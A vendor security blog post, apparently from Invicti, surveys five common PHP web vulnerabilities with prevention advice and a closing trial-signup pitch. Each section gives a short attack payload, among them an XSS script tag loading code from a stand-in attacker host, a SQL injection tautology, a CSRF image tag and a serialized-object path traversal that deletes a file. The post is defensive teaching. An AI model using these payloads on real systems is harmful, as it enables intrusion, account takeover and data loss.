Author: Kateryna Ivanenko, Invicti Brand Manager
We have prepared a practical overview of the 5 most common PHP website vulnerabilities, a short example, their impact, and how to prevent these security flaws.
Attention: the examples are provided solely for security experts to understand the nuances of these attacks, the article does not support any malicious actions.
1. SQL injection
What it is: database interference using malicious queries.
Example of such an SQL query:
SELECT * FROM users WHERE username = '' OR 1=1;-- AND password = ''Impact: Can lead to various consequences, including attacker access to data and its leakage, complete deletion of tables and loss of control over the database.
How to prevent: Use parameterized queries or prepared statements (the main best practice), check input data, minimize access privileges in the database, detailed error output should only be in logs.
You can read more about SQL injection in these articles: its causes and an extended version of its prevention guide specifically for PHP websites.
2. Cross-site scripting (XSS)
What it is: Injecting malicious commands into legitimate client-side code (usually JavaScript) that is executed by the user’s browser.
Example:
<script src=http://attacker.example.com/xss.js></script>Impact: A wide range of consequences, including session hijacking, data theft, account takeover, and redirection to malicious sites.
How to prevent: Set Content Security Policy (CSP) headers, sanitize user input, and escape/encode output.
To test your manual XSS detection skills, you can check the article on vulnerable test sites for this purpose.
3. Cross-Site Request Forgery (CSRF)
What it is: A web vulnerability that allows an attacker to trick a target into sending a request that allows them to perform actions on their account.
Example (CSRF based on GET requests, using the image tag on the malicious page):
<img src="http://example.com/bank.php/?action=transfer&target=attacker_account">Impact: Transactions and other unwanted actions from the target user account, complete compromise of the web application when the administrator account is taken over.
How to prevent: Use anti-CSRF tokens, additionally apply cookies with the SameSite attribute.
You can also read about the difference between CSRF and XSS, as well as a detailed guide on using anti-CSRF tokens.
4. PHP Object Injection
What it is: Exploitation of the fact that calling the unserialize() function with raw user input that can be used to inject PHP objects into memory.
Depending on the context, this vulnerability can lead to code injection, SQL injection, directory traversal (Path Traversal), and DoS.
Example (deleting an arbitrary file using a directory traversal attack by exploiting a vulnerable PHP class method):
http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}Impact: various consequences based on a performed attack and vulnerability used, from DoS to data theft.
How to prevent: Avoid using the unserialize() function with user input, and use JSON functions instead.
5. Broken Access Control
What is it: A class of vulnerabilities that occurs when an application incorrectly enforces access rules and a user can gain elevated privileges.
Example (obtaining administrative functions via a query parameter):
curl -i "https://target.example/admin?admin=1"Impact: Compromise of the application and execution of unwanted actions requiring elevated privileges.
How to prevent:
- Centralized server authorization and access verification on every request
- Do not trust client parameters to determine roles or rights
- Disallow mass assignment of sensitive fields (is_admin, role, permissions)
- Protect administrative routes through policies and access control based on attributes or roles.
How to detect these vulnerabilities in PHP web applications?
Even if you prevent these vulnerabilities effectively, you can’t be sure that your website is really secure without security testing.
The question arises: what methods can be used to check the presence of these vulnerabilities?
In the early stages of website development, SAST should be used, i.e. static analysis, to take care of project security at the very beginning of it. For example, it can be SAST from Mend.io.
Next, DAST (dynamic application security testing) should be implemented at later stages of development, staging and for production. It will be able to find, and if it is Invicti (based on Netsparker and Acunetix), then also confirm the existence of real vulnerabilities during program execution.
The best practice is to combine these methods for maximum efficiency.
If you would like to test Invicti and Mend.io for free, which seamlessly integrate into a single AppSec vulnerability management platform, please leave your contact information in the form below:
Request for free Invicti/Mend.io Trial
Leave your contact details and we will get in touch with you
